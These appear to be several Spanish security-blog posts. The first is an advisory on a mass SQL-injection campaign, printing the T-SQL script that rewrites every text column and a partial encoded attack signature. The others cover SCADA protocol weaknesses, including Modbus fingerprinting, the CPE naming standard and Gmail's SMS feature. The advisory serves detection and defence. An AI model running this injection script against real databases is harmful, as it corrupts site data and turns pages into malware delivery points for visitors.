En concreto, hemos detectado una nueva campaña de infección masiva de servidores web mediante la técnica de inyección SQL indiscriminada, apuntando a sitios web con tecnología ASP, igual que ya ocurriera en otras ocasiones durante este mismo año. El hecho de buscar este tipo de páginas no es porque exista alguna vulnerabilidad concreta ni contra ASP ni contra SQL Server, pero el script malicioso que se intenta inyectar en la base de datos está especialmente preparado para SQL Server. El ataque parece ser de origen asiático.

El ataque es totalmente indiscriminado. Se realiza una búsqueda a través de ICQ.com y se comienza el intento de infección para ejecutar el siguiente script en la base de datos:

DECLARE @T VARCHAR(255),@C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC(
'UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

De este modo, se intenta insertar código que apunte a un sitio malicioso en la página web infectada. Los usuarios que la visiten serán redirigidos mediante una cadena de servidores maliciosos hasta llegar al servidor que intenta la infección final, y aquí es donde entra en juego el exploit de Internet Explorer 7. En este punto se intenta infectar la máquina del usuario final mediante diversos exploits: para Internet Explorer 7, para Office, para Adobe Acrobat Reader y para la vulnerabilidad MS06014.

Una vez el usuario se infecta, se instala un troyano downloader genérico que accede un archivo de texto en un servidor malicioso para descargar más malware. También se infecta con un troyano tipo gamer (robo de datos relacionados con juegos online). Pero la gran novedad de este ataque es que el último troyano que se instala en el equipo infectado es el encargado de realizar el ataque de inyección SQL masivo.

Por lo tanto, esta campaña se diferencia de todas las anteriores en que el ataque no procede de una herramienta instalada en una serie de servidores concretos, sino que todos los usuarios infectados intentan realizar la infección masiva, haciendo mucho más difícil la erradicación del mismo.

Las recomendaciones son las mismas que en casos anteriores: asegurar que los aplicativos no son vulnerables a inyección SQL y filtrar mediante IPSs o similares cualquier intento de inyección a partir de la firma del ataque que se muestra a continuación:

dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(0x4445434C415245204054205641524348

Se trata de una captura parcial del envío que realiza el troyano para la infección, pero debería ser útil para detectar intentos de infección y realizar un filtrado adecuado.

Vicente Díaz
S21sec e-crime

Protocolos SCADA y seguridad

Dedicaremos estas líneas a una de las partes mas vulnerables de las redes SCADA: los protocolos de comunicación.

A pesar de su función crítica raramente incorporan mecanismos de seguridad. Los protocolos están diseñados para ser eficientes y determinísticos, pero no seguros. Tradicionalmente la “seguridad por oscuridad” ha sido su mejor protección al ser protocolos muy especializados. Esto nunca ha sido buena idea, menos aún hoy en día debido a la progresiva migración hacia protocolos estandarizados y bien documentados.

Casi ningún protocolo de comunicación industrial incorpora en su especificación mecanismos de seguridad. Esto hace que desde el punto de vista de la intrusión, la confidencialidad o la integridad, las redes SCADA sean inseguras por su propia naturaleza.

A esto hay que añadir que los protocolos SCADA están sujetos al mismo tipo de técnicas de ataque que por ejemplo SMTP, HTTP o FTP: DoS, buffer overflows, etc…. Ningún fabricante de dispositivos SCADA está exento de tener los mismos errores de programación que Cisco o Microsoft.

La robustez en la implementación del protocolo es esencial a la hora de implementar redes seguras, algo no siempre tenido en cuenta en el diseño de equipamiento SCADA. El tratamiento de los errores suele ser deficiente y ello deriva en reinicios o denegaciones de servicio como consecuencia de, por ejemplo, escaneos o auditorías.

Existe en la industria una gran variedad de protocolos que permiten comunicar los dispositivos SCADA entre sí y con los centros de control. A continuación comentaré cuatro de los mas usados actualmente y algunas consideraciones respecto de la seguridad:

DNP3: Es un protocolo diseñado específicamente para su uso en aplicaciones SCADA. Permite a las Unidades Centrales ó MTU (Master Terminal Unit) obtener datos de las RTU (Remote Terminal Unit) a través de comandos de control predefinidos. El protocolo no fue diseñado teniendo en cuenta mecanismos de seguridad, por tanto carece de cualquier forma de autenticación o cifrado. Puede ir encapsulado sobre TCP/IP.
Una nueva versión del protocolo llamada DNPSec ha sido diseñada para incluir confidencialidad, integridad y autenticación sin mucho impacto en las implementaciones DNP3 ya existentes. Para su implementación sería necesario establecer, a semejanza de IPSec, directivas de seguridad que identifiquen algoritmos criptográficos y de autenticación, así como parámetros comunes para la comunicación entre aplicaciones.

ICCP (IEC 60870-6): Este protocolo es uno de los mas usados en los sistemas SCADA/DCS de compañías de generación y distribución de energía. Es un protocolo especialmente adaptado a las necesidades de comunicación de las compañías eléctricas. Proporciona conectividad entre subestaciones y centros de control y supervisión. El intercambio de datos consiste típicamente en monitorización en tiempo real, datos de control, valores de medida, programación, contabilidad y mensajes de operador.
Tradicionalmente vulnerable a ataques DoS debido a deficiencias en el código de la pila ICCP de muchos servidores. Al igual que la mayoría de los protocolos actuales SCADA, también es atacable por spoofing.
Un servidor ICCP con una vulnerabilidad, permitiría a un atacante tomar control del servidor de la organización y de todos los servidores ICCP que se comunican con él.

Modbus: Protocolo de la capa de aplicación empleado sobre RS-232, RS-422, RS-485 o TCP/IP. La principal ventaja es su simplicidad y es ampliamente usado en procesos de control de sistemas SCADA.
Para el caso de redes Ethernet existen dos especificaciones: MODBUS Plus y MODBUS/TCP. A destacar en el modelo de arquitectura MODBUS/TCP el módulo ‘Access Control Module’, pensado para restringir el acceso a servidores desde determinados clientes en entornos críticos. Se basa en listas de IP autorizadas.
Una de las vulnerabilidades aprovechables por los atacantes es la posibilidad de hacer fingerprinting a través de su puerto standard TCP/502. Mediante la función 43 del protocolo puede leerse el registro de identificación de PLCs y conseguir información del tipo de dispositivo, fabricante, versión y otras informaciones útiles para posteriores ataques.

OPC (OLE for Process Control): Es una interfaz estándar de comunicación usada en la industria de control de procesos. Está pensada para garantizar la interoperabilidad entre equipamiento de distintos fabricantes. Permite la comunicación entre aplicaciones de control y de supervisión con independencia de la red que haya por medio. Requiere que cada fabricante proporcione un driver genérico OPC. La mayoría de los fabricantes de HMI incluyen soporte para OPC.
Se basa en los estandares de Microsoft OLE, DCOM y RPC. El problema viene porque estos componentes de Microsoft han sido tradicionalmente fuente de agujeros de seguridad. Aunque los actuales esfuerzos de estandarización tienden a protocolos basados en web independientes del Sistema Operativo, la mayor parte de lo ya instalado se basa en el original ‘OLE for Process Control’ de Microsoft.
Un atacante que sepa del uso de OPC intentará aprovecharse de alguna de las conocidas vulnerabilidades de los servicios DCON y RPC. Mas aún sabiendo de la dificultad de los sistemas de control industrial para implementar actualizaciones.

En conclusión, una red SCADA será tan segura como mecanismos de seguridad incorporen sus protocolos o puedan aplicarse a los mismos. De nada sirve un firewall si no puede actuar sobre un determinado protocolo; como tampoco querer autenticar o cifrar el intercambio de datos sin la existencia de mecanismos intrínsecos de intercambio de claves.

Aquí he hecho referencia solamente a una pequeña parte de los protocolos utilizados en infraestructuras críticas. Todos ellos con sus propias particularidades en cuanto a comunicación cliente/servidor, temporizaciones, codificación y formateo de datos. De aquí la complejidad a la hora de dar soluciones genéricas de seguridad a este tipo de redes.

César Fernández Lorenzana

S21Sec Labs

CPE:/B:S21SEC:BLOG

Continuando con la temática del post anterior, merece la pena desarrollar un poco más la explicación de algunos de los componentes comentados. En este caso el elegido es CPE, que es utilizado para determinar el inventario al que hacen referencia el resto de definiciones del conjunto SCAP.

El C.P.E, o COMMON (falso) PLATFORM (también falso) ENUMERATION (y también falso), es un modelo de nomenclatura estructurado que permite identificar de forma única (también es falso) tanto sistemas operativos y aplicaciones como sistemas integrados. Donde pongo falso es porque, aunque CPE está considerado capaz de representar cualquier ‘objeto’, en realidad el diccionario actual no trata de una enumeración de plataformas comunes, sino un listado de los productos más utilizados por el Department of Defense y Department of Homeland Security.

Traduciendo de forma más o menos literal la información que se puede encontrar en la web de origen http://cpe.mitre.org, CPE es un esquema de nomenclatura estructurado para sistemas IT, plataformas y paquetes. Basado en la sintaxis de uso general “Uniform Resource Indentifiers” (URI), que incluye un formato para la definición de nombres, un lenguaje que permite describir plataformas complejas, un método que permite buscar sistemas a partir de nombre y un formato de descripción para incluir textos y test a cualquier nombre.. “y si llamas ahora recibirás no uno, sino dos paquetes CPE”

Qué es, y por qué es: CPE

Si existe un identificador que representa de forma única cada vulnerabilidad (CVE, BID o advICE, etc...), ¿por qué no existe un identificador (que no sea el nombre) para cada sistema operativo o aplicación que pueda o deba representarse?

CPE no deja de ser un diccionario que recoge una serie de entradas que permiten relacionar un identificar único (el ID CPE) con una cadena que en cualquier idioma represente el sistema operativo o aplicación relacionada. Esta funcionalidad es vital para la automatización de cualquier proceso que requiera la identificación del inventario, ya que es posible que si la identificación no es del todo correcta (errores tipográficos, uso de nomenclatura especial o siglas, diferentes idiomas, etc...) dos aplicaciones estén hablando del mismo objeto con distinto nombre.

Esto es más o menos el resumen del qué y por qué de CPE. De forma indirecta, CPE ha conseguido en parte presentar una alternativa al que hasta ahora era referente como esquema, y ampliamente utilizado: diccionario de sistemas y aplicaciones de Symantec, (Search tool en tools) en el que se han basado muchos, sino todos los demás.

Especificaciones

Las especificaciones son la guía de cómo han de construirse los identificadores CPE, además de explicar cada uno de los diferentes componentes de su URI. La documentación desarrollada resume (casi.. ) todas las opciones y funciones posibles que hacen referencia a la nomenclatura de objetos. “incluso han incluido en la especificación la característica que permite buscar una cadena sin aumentar por ello su precio!”

Ejemplo de una definición CPE.

El siguiente cuadro resume de forma rápida como se genera un identificador.

Existen casos en los que una versión concreta de software requiere que se especifique además el sistema operativo en el que se encuentra, o incluso puede que sea necesario indicar un tercer software que permite completar la definición. Por ejemplo: Adobe Acrobat Toolbar versión 3.2, para Internet Explorer 6.x, del producto Adobe Acrobat Reader versión 6.7 en Microsoft Internet Explorer 6.5 de Microsoft Windows XP SP2. Este tipo de representación compleja NO está contemplada en el diccionario, ya que no se trata de un elemento único.

Por ejemplo:

Ejemplo de definición compleja para indicar una versión de Office 2003 o 2007 en Windows XP (cualquier Service Pack).

Existen un par de archivos en Java: CPEName.java y CPELanguage.java que permiten probar el uso del diccionario, aunque deben tratarse como dos ejemplo de implementación de un intérprete CPE muy simple que pueden ser utilizados para entender mejor el funcionamiento del lenguaje, y no dan para más.

Como enlaces de interés en la especificación CPE podemos considerar:

• Diccionario, especificación, versión 2.1
• Lenguaje CPE, especificación, versión 2.1
• Glosario de abreviaturas
• Consideraciones de versionado
• Otras versiones de la definición de especificaciones
  

El diccionario

.. o lo que es lo mismo, la versión actual de la recopilación. De su gestión se encarga exclusivamente el NIST para evitar conflictos en la definición de nuevas entradas. La idea que tiene el NIST en cuanto a la evolución del diccionario es que cada fabricante envíe un listado con sus productos y versiones (y a ser posible ya los CPE generados) para ir incluyéndolos en la distribución oficial.

Los enlaces de interés son:

• Diccionario CPE Oficial
• Versión 2.1 del diccionario

Comunidad

Curiosamente, esta es la parte más criticable de todo el conjunto Según mitre, (que se encarga de dar soporte al producto gestionado por NIST) CPE depende de los aportes de la comunidad para completar su ciclo de vida con éxito, aunque son muy restrictivos con los cambios aplicados, y ofrece un nivel de soporte muy básico. En cualquier caso existe una lista de correo en la que se debaten casi todas las propuestas y los cambios (casi, algunos aparecen por generación espontanea) en la que se puede participar. Es posible tanto preguntar, como responder, e incluso aportar nuevas entradas al diccionario CPE actual, que deben pasar un proceso de revisión antes de ser aceptadas.

Enlaces de interés:

• Developer days (sesiones de discusión)
• Lista de discusión (correo)
  
• Archivo de correo
  

Y hasta aquí todo lo que puede encontrarse en la web. Así que para no dejarlo como una simple traducción con opinión, voy a exponer mi visión (que puede estar equivocada, pero no lo va a estar, y si no a ver quién es capaz de discutirla, con argumentos) de lo que es CPE, o que puede aprovecharse o ser usable de esta iniciativa.

Mi-sion and mi-vision

O lo que es lo mismo, voy a mojarme. En primer lugar, todos los que se han descargado el diccionario (por ansiedad, por inercia o costumbre de descargarlo todo, o por la razón que sea) se darán cuenta de que es un XML que por sí solo no aporta nada. Bueno, siempre está bien mirar un XML (quién no tiene un editor XML instalado) utilizando el navegador, algo que no sé que será más: práctico o útil.

Los que se han descargado y leído antes las especificaciones, bien hecho, ahora ya tendremos una idea más acertada de las posibilidades de CPE, y digo, posibilidades porque de lo que se puede hacer a lo que está hecho hay todo un mundo:

• Es el único estándar de SCAP que NO soporta separación por “Namespace”, lo que dificulta la inclusión de definiciones propias en el diccionario, y es posible violar la integridad del diccionario si realizamos alguna modificación. Si queremos incluir un elemento que no exista en el diccionario tendremos que tener cuidado de su gestión en futuras actualizaciones.

• No existe (se está discutiendo estos días) forma de determinar cuando se trata de un nombre genérico, o nombre si determinar o nombre completo. Me explico. El siguiente CPE: cpe:/o:miempresa:miprograma puede interpretarse de las siguientes formas:

1. Todas las versiones conocidas de miprograma de la empresa miempresa.
2. Se desconoce la versión específica del programa miprograma, por eso no está indicada.
3. Se trata de la única versión disponible de miprograma, que NO tiene versión definida, por lo que este identificador representa un producto único.
   

• Dado que es uno de los elementos más jóvenes de todo el movimiento SCAP, está sometido a cambios constantes, aunque realmente cada uno de estos cambios (incluyendo también la incorporación de nuevas entradas en el diccionario) se publica una o dos veces al año, lo que dificulta un poco su seguimiento. Es posible encontrarse en la situación de llevar 6 meses discutiendo acerca de una funcionalidad que actualmente NO existe en la especificación, y que será integrada por primera vez tres meses más adelante.

• El grupo que trabaja en CPE, compuesto por gente de HLS, DoD y el NIST principalmente, mantiene una política de “control” sobre el estándar (aquí hay que recordar que los que lo empezaron fueron ellos, y que lo hicieron por y para ellos), por lo que solo alguna de las propuestas realizadas por “la comunidad” llega a calar, y esto afecta a la inclusión de entradas del diccionario, por poner ejemplo.

• Cuando empezamos a utilizar el editor de CPE para crear nuevas entradas (ah, espera, que no hay), es decir, el Notepad (con o sin ++) nos damos cuenta que si después queremos usarlo necesitaremos hacernos un programa que interprete el lenguaje CPE (ah, que tampoco hay, aunque lo más probable es que tengamos que integrar este intérprete en nuestros programas así que deberemos descargar la librería de soporte CPE (que tampoco existe) o hacernos nosotros mismos un analizador e intérprete. No te digo nada y te lo digo todo.

. FINAL

Yo tengo que reconocer que a nivel personal me parece una idea (que no implementación) buena. Y aunque a día de hoy la cantidad de aplicaciones públicas que utilizan el identificador CPE es una o ninguna, e incluso son menos las aplicaciones que utilizan el lenguaje CPE, es posible que pronto se conviertan en los nuevos EJB y empecemos a verlos en todos los lados.

Iñaki López
S21Sec Labs

Más funcionalidades para Gmail

GOOGLE acaba de sacar una nueva funcionalidad para GMAIL. Una más, como bien acostumbrado nos tiene en estos últimos meses. Primero empezaron con añadir el control de los e-mail enviados para que una persona certifique mediante un test que quiere enviar un mensaje, a este novedosa aplicación le siguió los temas de GMAIL para dar un aspecto más personal a este sistema de correo y otra aplicación fue la de añadir al Chat de GMAL (GTALK) la posibilidad de hacer una videoconferencia mediante el uso de la webcam.

Es aquí, en el Chat de GMAIL (GTALK) donde han añadido una nueva funcionalidad, MANDAR MENSAJES SMS. Esta nueva novedad tan solo esta disponible en EEUU (esperemos que pronto lo internacionalicen). El famoso sistema puede añadirse desde la pestaña LABS de GMAIL. Una vez activado, deberemos añadir a un contacto de GTALK su número de teléfono (de EEUU claro está) y, por último, automáticamente en GTALK podremos mandarle un SMS.

Según GOOGLE el envío de los mensajes es gratuito (por el momento). Pero, a título personal, me parece muy extraño que en un futuro muy próximo no intenten sacar beneficios de esta aplicación (tal y como se ha hecho con todas las aplicaciones antiguas que nos permitían mandar SMS gratuitos). Ya que cuando vemos que algo es gratuito, intentamos sacarle el máximo rendimiento y con mayor motivo, si se trata de mandar SMS a los amigos (se reduciría bastante mi factura de teléfono).

Por otro lado, el receptor del SMS primeramente deberá validar el número de teléfono (envío de un SMS con un código de validación).




Posteriormente, el receptor del SMS, podrá responder el mensaje hacia GTALK como si de un mensaje de texto normal se tratara. GOOGLE es el encargado de enrutar este SMS hacia el usuario de GMAIL adecuado y mostrárselo en su ventana de Chat.



Si una persona no quiere conversar con dicho usuario podrá bloquear el servicio mediante el uso de un comando (SMS BLOCK en EEUU). Además si un usuario no quiere recibir SMS desde GMAIL puede parar el servicio mediante otro comando (SMS STOP en EEUU).

Llegados a este punto, es donde veo una gran debilidad en este sistema. Cualquier contacto nuestro que sepa nuestro número de telefono podrá introducirlo dentro de GMAIL perdiendo así el control de los datos personales de números móviles. Es, por esto por, lo que cualquier persona que se de de alta en GTALK sea la que decida que tipo de datos personales introducir y no dejarlo en manos de tus contactos.

Además en el texto original cuando un usuario de teléfono móvil recibe un SMS y quiere contestarlo ¿cuánto dinero le costará? En el texto original se menciona:

You can reply to this text (SMS recived) on your phone just like you'd reply to any other text

pero no se habla nada de tarifas (según GOOGLE dependerá de tu operadora) y es ahí donde se genera mi duda, ¿Estos SMS tendrán la tarifa normal? En caso negativo, es en este punto donde las compañías telefónicas podrían aprovecharán para cobrarte los dos SMS (el del emisor y el del receptor).

Otro punto negro es que GMAIL puede hacerse con datos personales (número de teléfonos móviles entre otras cosas) de mucha gente, lo que a su vez puede llevar a nuevos nichos de mercado como, por ejemplo, al de la telefonía móvil. Ya se rumoreaba el año pasado que GOOGLE vería con buenos ojos la creación de un teléfono móvil sacando al final ANDROID. O por otro lado, mediante este servicio juntándolo con las búsquedas, información de perfil, etc. Google podría mandarnos SMS con publicidad indicando, por ejemplo , restaurantes con nuestra comida favorita, lugares cercanos donde se realicen conciertos de nuestro grupos preferidos...

Como conclusión mencionar que el sistema parece estar bien pero no tenemos que olvidar que las empresas no nos proporcionan servicios gratis, es decir, que de un modo u otro les pagamos (ya sea económicamente o en forma de datos personales). Así que, cuando la aplicación llegue a España tendremos que tener cuidado con la asociación de los números móviles a nuestros contactos.

Aitor Corchero Rodríguez
S21sec Labs